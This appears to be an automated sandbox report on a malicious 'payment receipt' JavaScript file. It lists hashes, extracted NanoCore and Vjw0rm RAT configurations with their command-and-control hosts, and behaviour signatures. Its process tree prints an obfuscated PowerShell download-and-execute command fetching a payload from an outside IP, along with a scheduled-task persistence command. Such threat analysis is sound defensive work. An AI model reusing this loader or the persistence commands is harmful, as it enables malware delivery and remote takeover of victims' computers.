Analysis

  • max time kernel
    150s
  • max time network
    170s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    28-10-2021 15:41

General

  • Target

    d2h8_Payment_receipt.js

  • Size

    81KB

  • MD5

    b28995f906c68033265eddd4465f25aa

  • SHA1

    e96cd013b328a7740b2a73c3da0efe92d479f491

  • SHA256

    1462ec0ee24166bb000751db97514da4e7bd875fb960499ceefaa2142ec34649

  • SHA512

    395cde1555290656f88c35bea231b90336c8918685fbf9d6f9223c0c96f2cdfd984f8e085f669ce34d9e8318b275aecebe55ef614db3b8edbefa917007d9b62d

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://13.78.209.105/E/err.txt

Extracted

Family

nanocore

Version

1.2.2.0

C2

kenimaf.duckdns.org:8090

Mutex

543e7469-d950-4ec2-a110-de54f8d16167

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    kenimaf.duckdns.org

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2021-08-01T06:39:50.225932136Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    8090

  • default_group

    kenn

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    543e7469-d950-4ec2-a110-de54f8d16167

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    kenimaf.duckdns.org

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Extracted

Family

vjw0rm

C2

http://6200js.duckdns.org:6200

Signatures

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • suricata: ET MALWARE Possible NanoCore C2 60B

    suricata: ET MALWARE Possible NanoCore C2 60B

  • Blocklisted process makes network request 3 IoCs
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\d2h8_Payment_receipt.js
    1⤵
    • Blocklisted process makes network request
    • Drops startup file
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:972
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\Admin\AppData\Local\Temp\d2h8_Payment_receipt.js
      2⤵
      • Creates scheduled task(s)
      PID:3420
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\07AMQQVOE5.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2440
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $H ='http://13.78.209.105/E/err.txt';$H1 = '******************^^^^^^^^^^^^^^^^^^``````````````'.Replace('******************','n').Replace('^^^^^^^^^^^^^^^^^^','E').Replace('``````````````','t');$H2 ='DDDDDDDDEEEEEEEEEEE'.Replace('DDDDDDDD','.').Replace('EEEEEEEEEE','W');$H4 ='NNNNNNNNNNNNNNNNTTTTTTTTTTNT'.Replace('NNNNNNNNNNNNNNNNTTTTTTTTTT','IE');$H3 ='LLLLLLLLLL'.Replace('LLLLLLLLL','bC');$HH =$H1+$H2+$H3+$H4;$HHH ='DO---------------nG'.Replace('---------------','WnLoaDSTrI');$HHHH ='I`---------------Ec++++++++++++++H).$HHH($H)'.Replace('`---------------','EX(ne`W`-Obj`').Replace('++++++++++++++','`T $H');&('I'+'EX')($HHHH -Join '')|&('I'+'EX');
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1116
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          PID:3564

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\07AMQQVOE5.vbs

    MD5

    2b137d3d2ea7ddba63e99586f44e0388

    SHA1

    d4634061943a78624880537ffa65472fc6195474

    SHA256

    1af97b7b7febcf25481d8c653b141681be8a1cad29a563e9057c02c1c87b75c2

    SHA512

    6a7240273576e625066b114960fa4063acd9404727d02bcd3183248f5c820161ec15fafe01858d22ddcf39cd4d03f8e52988625aabd7b01565339b8927693115

  • memory/1116-128-0x0000024FD55E3000-0x0000024FD55E5000-memory.dmp

    Filesize

    8KB

  • memory/1116-122-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-129-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-131-0x0000024FD58D0000-0x0000024FD58D1000-memory.dmp

    Filesize

    4KB

  • memory/1116-130-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-124-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-125-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-126-0x0000024FD5720000-0x0000024FD5721000-memory.dmp

    Filesize

    4KB

  • memory/1116-127-0x0000024FD55E0000-0x0000024FD55E2000-memory.dmp

    Filesize

    8KB

  • memory/1116-166-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-121-0x0000000000000000-mapping.dmp

  • memory/1116-172-0x0000024FD5890000-0x0000024FD5891000-memory.dmp

    Filesize

    4KB

  • memory/1116-123-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-132-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-136-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-138-0x0000024FBCFC0000-0x0000024FBCFC2000-memory.dmp

    Filesize

    8KB

  • memory/1116-137-0x0000024FD55E6000-0x0000024FD55E8000-memory.dmp

    Filesize

    8KB

  • memory/1116-148-0x0000024FD55E8000-0x0000024FD55E9000-memory.dmp

    Filesize

    4KB

  • memory/1116-159-0x0000024FD5860000-0x0000024FD5884000-memory.dmp

    Filesize

    144KB

  • memory/2440-119-0x0000000000000000-mapping.dmp

  • memory/3420-118-0x0000000000000000-mapping.dmp

  • memory/3564-167-0x0000000000600000-0x0000000000638000-memory.dmp

    Filesize

    224KB

  • memory/3564-179-0x0000000006250000-0x0000000006265000-memory.dmp

    Filesize

    84KB

  • memory/3564-170-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

    Filesize

    4KB

  • memory/3564-171-0x0000000004D30000-0x0000000004D31000-memory.dmp

    Filesize

    4KB

  • memory/3564-165-0x000000000041E792-mapping.dmp

  • memory/3564-173-0x0000000004BD0000-0x0000000004BD1000-memory.dmp

    Filesize

    4KB

  • memory/3564-174-0x0000000004F50000-0x0000000004F55000-memory.dmp

    Filesize

    20KB

  • memory/3564-175-0x0000000005030000-0x0000000005049000-memory.dmp

    Filesize

    100KB

  • memory/3564-176-0x0000000005690000-0x0000000005693000-memory.dmp

    Filesize

    12KB

  • memory/3564-177-0x0000000004B50000-0x000000000504E000-memory.dmp

    Filesize

    5.0MB

  • memory/3564-178-0x0000000006240000-0x000000000624D000-memory.dmp

    Filesize

    52KB

  • memory/3564-169-0x0000000005050000-0x0000000005051000-memory.dmp

    Filesize

    4KB

  • memory/3564-180-0x0000000006290000-0x0000000006296000-memory.dmp

    Filesize

    24KB

  • memory/3564-181-0x00000000062A0000-0x00000000062AC000-memory.dmp

    Filesize

    48KB

  • memory/3564-182-0x00000000062B0000-0x00000000062B6000-memory.dmp

    Filesize

    24KB

  • memory/3564-183-0x00000000062C0000-0x00000000062C7000-memory.dmp

    Filesize

    28KB

  • memory/3564-184-0x00000000062D0000-0x00000000062DD000-memory.dmp

    Filesize

    52KB

  • memory/3564-185-0x00000000062E0000-0x00000000062E2000-memory.dmp

    Filesize

    8KB

  • memory/3564-186-0x00000000062F0000-0x00000000062FF000-memory.dmp

    Filesize

    60KB

  • memory/3564-187-0x0000000006310000-0x000000000631A000-memory.dmp

    Filesize

    40KB

  • memory/3564-188-0x0000000006320000-0x0000000006349000-memory.dmp

    Filesize

    164KB

  • memory/3564-189-0x0000000006360000-0x000000000636F000-memory.dmp

    Filesize

    60KB

  • memory/3564-190-0x00000000063F0000-0x00000000063F1000-memory.dmp

    Filesize

    4KB